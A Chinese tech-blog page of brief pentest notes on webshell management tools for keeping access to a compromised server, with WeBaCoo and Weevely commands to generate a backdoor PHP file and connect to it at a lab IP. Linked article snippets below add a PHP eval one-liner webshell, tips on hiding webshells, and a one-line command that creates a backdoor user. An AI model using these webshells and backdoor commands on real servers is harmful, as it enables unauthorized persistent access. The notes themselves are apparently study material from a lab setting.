webshell管理工具（权限维持）笔记

最新推荐文章于 2024-05-09 10:15:02 发布
最新推荐文章于 2024-05-09 10:15:02 发布
阅读量591 收藏 1
点赞数 1
CC 4.0 BY-SA版权
分类专栏： 黑客技术笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_30508729/article/details/103075709

1.chopper
2.Cknife
3.WeBaCoo
命令：webacoo -g -o hack.php
连接命令：webacoo -t -u http://192.168.152.130/pentest/test/11/upload/hack.php
成功连接

4.Weevely
命令：weevely generate 123456 hack.php
命令：weevely http://192.168.152.130/pentest/test/11/upload/hack.php 123456
成功连接
 

基于javafx、javaSwing、spring boot 开发权限管理系统
09-03
基于javafx、javaSwing、spring boot 开发权限管理系统。
web层的权限维持
Nginxx的博客
11-17 2583
前言 在实战渗透中，经常需要上传webshell来完成对目标的权限维持。通过各种方法来构造一个免杀的webshell后门来实现webshell层面的权限维持是大家比较通用的方法，但是除了简单粗暴的写php免杀马，实战中还有一些小技巧值得去学习，毕竟除了要绕过各种waf的防护，还需要绕过“人肉waf“ 管理员的火眼金睛，因此本文将分享一些在web层权限维持常用的方法和技巧。 隐藏webshell 隐藏webshell是web层维持权限的基本方法，但是如果直接写php文件，哪怕是源码免杀，也很容易被管理员发现，
【web端权限维持】利用ADS隐藏webshell
09-29 512
0X01 前言 　　未知攻，焉知防，在web端如何做手脚维护自己拿到的权限呢？首先要面临的是webshell查杀，那么通过利用ADS隐藏webshell，不失为一个好办法。 0X02 利用ADS隐藏webshell 　　关于ADS的介绍，就不再阐述，详见尾部参考资料。 　　PHP 一句话木马：<?php @eval($_POST['chopper']);?>，当然也可...
渗透测试入门之Web权限维持
weixin_46236101的博客
09-24 484
前言 权限维持，在红蓝对抗中，我觉得其意义在于两点：一是防止已获取的权限被蓝队破坏；二是防止其他红队获取到相同的权限（虽然有点缺德。。。）。 其他情况下的非法用途就不说了。 权限维持的原则我觉得就是不能影响原来业务的正常运行。（比如改后台密码导致管理员不能登录，修改文件夹读写权限导致正常的文件不能上传等等）。 后台权限维持 当我们通过弱口令或爆破获取到后台权限，为了防止管理员修改密码或其他红队修改密码，失去权限，在这种情况下需要维持一下后台权限。 自己修改后台密码，当然是最笨的办法。 可以选择的方法，通过在
Linux权限维持
qq_46527080的博客
01-31 1449
Linux权限维持 一.一句话添加用户和密码（第一种最基础，也最可能被利用） 创建一个用户名chaosec，密码为123456的普通用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` chao1 useradd -p方法 `` 是用来存放可执行的系统命令，“$()”也可以存放命令执行语句 useradd -p "$(openssl passwd -1 123456)" chao2 chpasswd方法 useradd chao4;echo 'cha
Webshell管理工具
热门推荐
weixin_59872639的博客
01-15 2万+
中国蚁剑 中国蚁剑是一款开源的跨平台网站管理工具，它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。 中国蚁剑的核心功能 Shell代理功能 Shell管理 文件管理 虚拟终端 数据库管理 插件市场 插件开发 中国蚁剑的简单使用 环境需求 windows攻击机，装有蚁剑 windows靶机，有phpstudy环境 步骤1：写一个简单的一句话木马 <?php @eval($_POST['123456'])
应急响应工具集及应急响应实战笔记.zip
08-04
网络安全应急响应工具集及应急响应实战笔记 辅助工具集 进程分析工具集 练手样本集 流量分析工具集 ...第03章：权限维持篇 第04章：Windows实战篇 第05章：Linux实战篇 第06章：Web实战篇 第07章：样本库
应急响应实战笔记.rar
02-14
权限维持篇：Windows权限维持--后门篇、Linux权限维持--隐藏篇、Linux权限维持--后门篇、三大渗透测试框架权限维持技术、常见WebShell管理工具；Windows实战篇：FTP暴力破解、蠕虫病毒、勒索病毒、ARP病毒、挖矿病毒...
Web渗透笔记.pdf
08-04
常见的权限维持方法包括使用 WebShell 维持权限、使用后门维持权限等。 内网代理 内网代理是 Web 渗透测试的第五步，目的是在目标网站的内网中建立代理，以便更好地控制目标网站。常见的内网代理方法包括使用代理...
web安全攻防渗透测试实训笔记
m0_65385236的博客
04-07 1573
1. Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 – T（0-6档） 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别，-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中) --------------- 192.168.1.1/24 ...
WEB安全学习笔记
chenrs727的博客
12-02 2154
基础入门 1.基础入门——基础概念 域名 什么是域名 域名（英语：Domain Name），又称网域，是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称，用于在数据传输时对计算机的定位标识（有时也指地理位置） 由于IP地址具有不方便记忆并且不能显示地址组织的名称和性质等缺点，人们设计出了域名，并通过网域名称系统（DNS，Domain Name System）来将域名和IP地址相互映射，使人更方便地访问互联网，而不用去记住能够被机器直接读取的IP地址数串。 比如www.bai
十三、权限维持
谢小二的博客
06-12 1410
权限维持
010109权限维持
TangTang_AM的博客
04-03 455
9-1权限维持 1. 权限维持的原因 前提：某目标服务器初始化现阶段存在安全漏洞，可以被利用拿到服务器权限。 一段时间后，系统管理员对系统进行升级，打补丁（patch），系统不存在安全漏洞，导致无法利用漏洞获得服务器权限。 2. 权限维持的使用 技术本身不具备好与坏，只是因为使用者的目的不同，导致结果的好与坏。 恶意人员利用权限维持技术，一直获得服务器的权限。 合法且被授权的渗透测试人员，利用权限维持为了证明服务器存在对应的安全漏洞。 3. 权限维持案例环境介绍 目标机器：win7 没有m
【神兵利器】后渗透-权限维持工具之HackerPermKeeper
youmaob的博客
04-03 954
通过渗透拿到权限之后，为了不让权限丢失，都会进行权限维持，而在进行权限维持的时候，红队需要花费大量的时候，来验证是否合适，因此在这款工具就诞生 HackerPermKeeper[黑客权限保持者]OpenSSH后门万能密码&记录密码（这个需要依赖环境），就是把对方的门换个锁，但是原来的钥匙也可以使用。|| 越少，越难发现，但是部署起来，需要的依赖很多。ssh软链接&crontab。crontab后计划任务。发现程度：||||||发现程度：||||||发现程度：||||||发现程度：||||||
使用msfconsole拿到win2008 R2的shell并进行维权二（权限维持）
X_xsj6的博客
08-11 586
使用msfconsole拿到win2008 R2的shell并进行维权二（权限维持） 四、维权后门 4.1查询服务器信息 4.1.1查看当前用户以及权限 4.1.2查看当前已有用户 4.1.3查看当前计算机名 4.2权限维护： 4.2.1创建账户（创建新用户的密码必须符合密码复杂度） 4.2.2将新建账户加入到管理员组 4.2.3开启靶机远程桌面功能 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\...
linux权限维持-HackerPermKeeper
最新发布
SuperherRo的博客
05-09 569
通过渗透拿到权限之后，为了不让权限丢失，都会进行权限维持，而在进行权限维持的时候，红队需要花费大量的时候，来验证是否合适，因此在这款工具就诞生 HackerPermKeeper[黑客权限保持者]
Windows权限维持
qq_40012781的博客
07-03 478
Windows权限维持
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值